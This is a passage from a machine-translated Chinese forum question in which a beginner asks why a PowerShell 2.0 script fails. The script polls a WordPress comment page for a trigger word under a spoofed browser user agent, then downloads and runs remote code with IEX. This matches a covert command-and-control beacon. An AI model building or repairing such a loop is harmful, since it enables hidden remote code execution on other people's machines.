Powershell | DownloadString | 外部网站| 返回
我是一个完全PowerShell新手,所以请放纵;) 我试图编写一个脚本,一台机器检查一个外部网站等待单词:“testing”执行下载。 事情是这样的: $Word = 'test' $WebClientObject = New-Object Net.WebClient $comment = "http://MySite.wordpress.com/comment_section/" $WebClientObject.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/32.0.1667.0 Safari/537.36)") While($True){ $CommentResult = $WebClientObject.DownloadString($comment) $Found = $CommentResult.contains($Word) If($Found) { IEX $WebClientObject.DownloadString('http://A_Server_That_Is_Accessible/Tasks_to_do') Task_to_do and some blabla commands Return } Start-Sleep -Seconds 60 } 我正在运行PowerShell 2.0。 Windows 7的 发生了什么: 下载不通过互联网执行 这不是来自IP或path的问题 […]